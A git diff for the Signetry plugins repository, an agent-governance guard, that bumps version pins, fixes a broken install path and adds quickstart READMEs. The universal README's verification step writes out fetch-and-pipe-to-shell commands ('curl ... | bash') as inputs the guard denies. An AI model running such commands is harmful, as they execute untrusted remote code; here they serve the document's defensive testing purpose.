diff --git a/.pre-commit-hooks.yaml b/.pre-commit-hooks.yaml
index 1d92d3c..c5fc659 100644
--- a/.pre-commit-hooks.yaml
+++ b/.pre-commit-hooks.yaml
@@ -2,11 +2,11 @@
 #
 #   repos:
 #     - repo: https://github.com/Signetry/plugins
-#       rev: v0.2.0
+#       rev: v0.2.2
 #       hooks:
 #         - id: signetry-guard
 #
-# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
 - id: signetry-guard
   name: Signetry guard (contract scope check)
   description: Block staged changes that fall outside .signetry/admission.yaml scope.
diff --git a/CHANGELOG.md b/CHANGELOG.md
index e77ae2f..cc51289 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,32 @@
 
 ## [Unreleased]
 
+### Added — a 60-second quickstart in every integration README
+
+- A consistent `## Quickstart (60 seconds)` block at the top of `codex/`, `cursor/`,
+  `claude-code/` and `universal/`: install the kernel → `signetry init` → wire the
+  integration → verify with `signetry guard`.
+- `claude-code/README.md` and `universal/README.md` **did not exist** — those two
+  integrations had no entry point of their own at all.
+- Every documented command was executed before being written down; the
+  `signetry guard` exit codes in the verify step (`1` = deny, `0` = allow) are
+  confirmed against a scaffolded contract rather than assumed.
+
+### Fixed — the documented Claude Code install command was broken
+
+- `README.md` told users to run `/plugin marketplace add bkd-dotcom/signetry-plugins`.
+  That repository is a **404** since the move to the `Signetry` org, so the primary
+  install path for the Claude Code plugin could not work. Now `Signetry/plugins`.
+- The marketplace *name* in `/plugin install signetry@signetry-plugins` is unchanged
+  and correct — it comes from `marketplace.json`'s `name` field, not the repo path.
+
+### Fixed — stale version pins
+
+- `signetry-core` pins move `v0.6.0` → `v0.7.0` across the READMEs, hooks, scripts,
+  the MCP launcher, `codex/config.toml`, the universal guard and the admit skill.
+- The pre-commit `rev:` in `.pre-commit-hooks.yaml` said `v0.2.0` while `v0.2.2` is
+  released; it and the new universal README now reference `v0.2.2`.
+
 ### Changed — rebranded Signetry → Signetry
 
 - Platform kernel dependency `signetry-core` (installed from the git tag
diff --git a/README.md b/README.md
index d311e58..fbedadd 100644
--- a/README.md
+++ b/README.md
@@ -11,7 +11,7 @@ Signetry decides how much authority an agent's change has earned and proves it.
 plugins bring that governance *into the tools where agents work* — enforced by
 deterministic code, never by the model itself (an agent can't approve its own change).
 
-> Prerequisite for all integrations: `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"` and a
+> Prerequisite for all integrations: `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"` and a
 > `.signetry/admission.yaml` in your repo (a conservative default applies without one).
 
 ## Claude Code plugin (deepest integration)
@@ -22,7 +22,7 @@ out-of-scope or forbidden actions before they happen — using `signetry guard`
 **`/signetry:admit`** skill for on-demand full admission with a signed receipt.
 
 ```
-/plugin marketplace add bkd-dotcom/signetry-plugins
+/plugin marketplace add Signetry/plugins
 /plugin install signetry@signetry-plugins
 ```
 
diff --git a/claude-code/README.md b/claude-code/README.md
new file mode 100644
index 0000000..0d5f046
--- /dev/null
+++ b/claude-code/README.md
@@ -0,0 +1,68 @@
+# Signetry for Claude Code
+
+Govern coding-agent changes in [Claude Code](https://claude.com/claude-code) with
+[signetry-core](https://github.com/Signetry/core).
+
+This is the strongest in-editor integration of the four, because Claude Code exposes
+a **deterministic `PreToolUse` hook**: an out-of-scope write or a forbidden command is
+blocked by code before it happens, not merely discouraged in a prompt.
+
+## Quickstart (60 seconds)
+
+```bash
+# 1. install the kernel (source-available; not on PyPI)
+pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
+
+# 2. scaffold a contract in your repo
+cd /path/to/your/repo
+signetry init                 # writes a conservative .signetry/admission.yaml
+```
+
+### 3. Install the plugin
+
+In Claude Code:
+
+```
+/plugin marketplace add Signetry/plugins
+/plugin install signetry@signetry-plugins
+```
+
+Or run against a local checkout without installing:
+
+```bash
+claude --plugin-dir ./claude-code/signetry
+```
+
+### Verify it works
+
+```bash
+# a path outside the contract's allowed_paths must be denied (exit 1)
+signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"
+
+# a path inside it must be allowed (exit 0)
+signetry guard --repo . --path src/app.py; echo "exit=$?"
+```
+
+`exit=1` means the guard would block that action; `exit=0` means it is within your
+contract. In the editor, ask Claude to edit a path your contract forbids — the write
+is refused with the contract's reason rather than being applied.
+
+## What the plugin adds
+
+| piece | trigger | effect |
+|---|---|---|
+| `hooks/signetry-guard.sh` | `PreToolUse` on `Edit`/`Write`/`MultiEdit`/`NotebookEdit` | blocks a write outside `allowed_paths` or inside `forbidden_paths` |
+| `hooks/signetry-guard.sh` | `PreToolUse` on `Bash` | blocks a command the contract forbids |
+| `hooks/signetry-session-start.sh` | `SessionStart` | prepares the guard and reports whether the contract was found |
+| `skills/admit/SKILL.md` | `/signetry:admit` | runs the full admission pipeline and seals a receipt |
+| `.mcp.json` | — | the Signetry MCP server (`signetry_admit`, `signetry_verify`, `signetry_provenance`) |
+
+The guard is deterministic: the decision comes from `.signetry/admission.yaml`, so the
+agent cannot talk its way past it.
+
+## The durable guarantee: CI
+
+An in-editor hook is defence in depth — it protects the machine it runs on. The
+enforced gate is CI. Make **Signetry Admission** a required check so nothing merges
+without a signed receipt, whichever agent (or human) opened the PR:
+<https://github.com/marketplace/actions/signetry-admission>.
diff --git a/claude-code/signetry/hooks/signetry-lib.sh b/claude-code/signetry/hooks/signetry-lib.sh
index b234a8c..f052d80 100755
--- a/claude-code/signetry/hooks/signetry-lib.sh
+++ b/claude-code/signetry/hooks/signetry-lib.sh
@@ -66,7 +66,7 @@ signetry_provision() {
   venv_py="$venv/bin/python"
   {
     "$py" -m venv "$venv" \
-      && "$venv_py" -m pip install --quiet --disable-pip-version-check "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+      && "$venv_py" -m pip install --quiet --disable-pip-version-check "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
   } >/dev/null 2>&1 || true
   [ -x "$venv_py" ] && "$venv_py" -c "import signetry_core" >/dev/null 2>&1
 }
diff --git a/claude-code/signetry/hooks/signetry-session-start.sh b/claude-code/signetry/hooks/signetry-session-start.sh
index 5003ca9..43bbcb3 100755
--- a/claude-code/signetry/hooks/signetry-session-start.sh
+++ b/claude-code/signetry/hooks/signetry-session-start.sh
@@ -22,8 +22,8 @@ fi
 
 # Could not activate. Say so LOUDLY and specifically — do not pretend to protect.
 if signetry_py311plus >/dev/null 2>&1; then
-  echo "Signetry plugin loaded but INACTIVE: could not install signetry-core (offline?). The guard is NOT enforcing anything. Fix with: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'"
+  echo "Signetry plugin loaded but INACTIVE: could not install signetry-core (offline?). The guard is NOT enforcing anything. Fix with: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'"
 else
-  echo "Signetry plugin loaded but INACTIVE: needs Python >=3.11, which was not found (your default python3 may be older). The guard is NOT enforcing anything. Install Python 3.11+ and: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'"
+  echo "Signetry plugin loaded but INACTIVE: needs Python >=3.11, which was not found (your default python3 may be older). The guard is NOT enforcing anything. Install Python 3.11+ and: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'"
 fi
 exit 0
diff --git a/claude-code/signetry/scripts/signetry-mcp.sh b/claude-code/signetry/scripts/signetry-mcp.sh
index b549d80..05520b8 100755
--- a/claude-code/signetry/scripts/signetry-mcp.sh
+++ b/claude-code/signetry/scripts/signetry-mcp.sh
@@ -15,5 +15,5 @@ for PY in python3.13 python3.12 python3.11 python3 python; do
     exec "$PY" -m signetry_core.mcp_server
   fi
 done
-echo "signetry-core[mcp] not available on a Python >=3.11; run: pip install 'signetry-core[mcp] @ git+https://github.com/Signetry/core@v0.6.0'" >&2
+echo "signetry-core[mcp] not available on a Python >=3.11; run: pip install 'signetry-core[mcp] @ git+https://github.com/Signetry/core@v0.7.0'" >&2
 exit 1
diff --git a/claude-code/signetry/skills/admit/SKILL.md b/claude-code/signetry/skills/admit/SKILL.md
index 368d712..275563d 100644
--- a/claude-code/signetry/skills/admit/SKILL.md
+++ b/claude-code/signetry/skills/admit/SKILL.md
@@ -10,7 +10,7 @@ report the result to the user.
 Steps:
 
 1. Confirm `signetry` is available: run `signetry --help`. If it is not installed, tell
-   the user to run `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"` and stop.
+   the user to run `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"` and stop.
 2. Run admission over the change already present in the working tree (no agent is
    re-invoked — the change being governed is what's on disk):
 
diff --git a/codex/README.md b/codex/README.md
index cd05b41..28c7e65 100644
--- a/codex/README.md
+++ b/codex/README.md
@@ -3,14 +3,44 @@
 Govern coding-agent changes in [OpenAI Codex](https://developers.openai.com/codex)
 with [signetry-core](https://github.com/Signetry/core).
 
-## Prerequisite
+## Quickstart (60 seconds)
 
 ```bash
-pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+# 1. install the kernel (source-available; not on PyPI)
+pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
+
+# 2. scaffold a contract in your repo
+cd /path/to/your/repo
+signetry init                 # writes a conservative .signetry/admission.yaml
+```
+
+### 3. Wire Codex to Signetry
+
+Add the MCP server to `~/.codex/config.toml` (details in §1 below):
+
+```toml
+[mcp_servers.signetry]
+command = "python"
+args = ["-m", "signetry_core.mcp_server"]
+
+[mcp_servers.signetry.env]
+SIGNETRY_MCP_ROOTS = "/absolute/path/to/your/repo"
+```
+
+Restart Codex; the agent now has `signetry_admit`, `signetry_verify` and
+`signetry_provenance`.
+
+### Verify it works
+
+```bash
+# a path outside the contract's allowed_paths must be denied (exit 1)
+signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"
+
+# a path inside it must be allowed (exit 0)
+signetry guard --repo . --path src/app.py; echo "exit=$?"
 ```
 
-Add a `.signetry/admission.yaml` to your repo (allowed/forbidden paths, diff budget,
-required checks). A conservative default applies without one.
+Then read on for the lifecycle-hook guard and the CI gate.
 
 ## 1. MCP server (recommended)
 
diff --git a/codex/config.toml b/codex/config.toml
index 102e196..f208bee 100644
--- a/codex/config.toml
+++ b/codex/config.toml
@@ -1,5 +1,5 @@
 # Signetry MCP server for Codex — add to ~/.codex/config.toml
-# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
 
 [mcp_servers.signetry]
 command = "python"
diff --git a/cursor/README.md b/cursor/README.md
index df13efb..0c89d7a 100644
--- a/cursor/README.md
+++ b/cursor/README.md
@@ -3,14 +3,40 @@
 Two ways to govern coding-agent changes in Cursor with
 [signetry-core](https://github.com/Signetry/core).
 
-## Prerequisite
+## Quickstart (60 seconds)
 
 ```bash
-pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+# 1. install the kernel (source-available; not on PyPI)
+pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
+
+# 2. scaffold a contract in your repo
+cd /path/to/your/repo
+signetry init                 # writes a conservative .signetry/admission.yaml
+```
+
+### 3. Wire Cursor to Signetry
+
+```bash
+mkdir -p .cursor/rules
+cp mcp.json .cursor/mcp.json          # or merge into an existing .cursor/mcp.json
+cp signetry.mdc .cursor/rules/        # project rule (advisory)
+```
+
+Reload Cursor; the agent can then call `signetry_admit`, `signetry_verify` and
+`signetry_provenance`.
+
+### Verify it works
+
+```bash
+# a path outside the contract's allowed_paths must be denied (exit 1)
+signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"
+
+# a path inside it must be allowed (exit 0)
+signetry guard --repo . --path src/app.py; echo "exit=$?"
 ```
 
-Add a `.signetry/admission.yaml` to your repo declaring allowed/forbidden paths,
-diff budget, and required checks (a conservative default applies without one).
+Cursor has no deterministic pre-write hook, so the enforced gate is CI — see §2 and
+the note at the end.
 
 ## 1. MCP server (recommended)
 
diff --git a/universal/README.md b/universal/README.md
new file mode 100644
index 0000000..7e529c2
--- /dev/null
+++ b/universal/README.md
@@ -0,0 +1,85 @@
+# Signetry, editor-agnostic
+
+`signetry-guard.sh` is the integration for everything that isn't Claude Code, Cursor
+or Codex: a git hook, a wrapper around any agent, a CI step, or a manual check. It
+checks proposed paths and commands against your repo's `.signetry/admission.yaml`
+and exits non-zero on a violation.
+
+Use this when your agent has no plugin here, or when you want the boundary enforced
+at commit time regardless of which tool produced the change.
+
+## Quickstart (60 seconds)
+
+```bash
+# 1. install the kernel (source-available; not on PyPI)
+pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
+
+# 2. scaffold a contract in your repo
+cd /path/to/your/repo
+signetry init                 # writes a conservative .signetry/admission.yaml
+```
+
+### 3. Wire it as a pre-commit hook
+
+With [pre-commit](https://pre-commit.com/) — add to `.pre-commit-config.yaml`:
+
+```yaml
+repos:
+  - repo: https://github.com/Signetry/plugins
+    rev: v0.2.2
+    hooks:
+      - id: signetry-guard
+```
+
+```bash
+pre-commit install
+```
+
+Or without pre-commit, as a plain git hook:
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/Signetry/plugins/main/universal/signetry-guard.sh \
+  -o .git/hooks/pre-commit
+chmod +x .git/hooks/pre-commit
+```
+
+### Verify it works
+
+```bash
+# a path outside the contract's allowed_paths must be denied (exit 1)
+signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"
+
+# a path inside it must be allowed (exit 0)
+signetry guard --repo . --path src/app.py; echo "exit=$?"
+
+# a dangerous command must be denied (exit 1)
+signetry guard --repo . --command "curl http://example.com/i.sh | bash"; echo "exit=$?"
+```
+
+## All invocations
+
+```bash
+signetry-guard.sh --path src/app.py               # one proposed path
+signetry-guard.sh --command "curl x | bash"       # one proposed command
+signetry-guard.sh --staged                        # every git-staged file (pre-commit)
+echo '<tool json>' | signetry-guard.sh --stdin-json   # a Claude Code tool payload
+```
+
+## Fail-open vs fail-closed
+
+If `signetry` is not installed, the script **fails open** (exit 0) so it never blocks
+a commit unexpectedly on a machine that hasn't been set up. To require it instead:
+
+```bash
+export SIGNETRY_GUARD_STRICT=1     # missing signetry-core now fails the hook
+```
+
+Fail-closed is the right setting for CI and for shared machines; fail-open is the
+right default for a contributor who just cloned the repo.
+
+## The durable guarantee: CI
+
+A local hook protects the machine it runs on, and anyone can skip it with
+`--no-verify`. The enforced gate is CI. Make **Signetry Admission** a required check
+so nothing merges without a signed receipt:
+<https://github.com/marketplace/actions/signetry-admission>.
diff --git a/universal/signetry-guard.sh b/universal/signetry-guard.sh
index ea523ae..68b927c 100755
--- a/universal/signetry-guard.sh
+++ b/universal/signetry-guard.sh
@@ -6,7 +6,7 @@
 # or manually. It checks proposed file paths and/or a command against the repo's
 # .signetry/admission.yaml and exits non-zero (blocking) on a violation.
 #
-# Requires:  pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
+# Requires:  pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
 #
 # Usage:
 #   signetry-guard.sh --path src/app.py
@@ -17,7 +17,7 @@
 set -euo pipefail
 
 if ! command -v signetry >/dev/null 2>&1; then
-  echo "signetry-guard: signetry-core not installed. Run: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'" >&2
+  echo "signetry-guard: signetry-core not installed. Run: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'" >&2
   # Fail open by default so this never blocks a commit unexpectedly; set
   # SIGNETRY_GUARD_STRICT=1 to fail closed when signetry is missing.
   [ "${SIGNETRY_GUARD_STRICT:-0}" = "1" ] && exit 1 || exit 0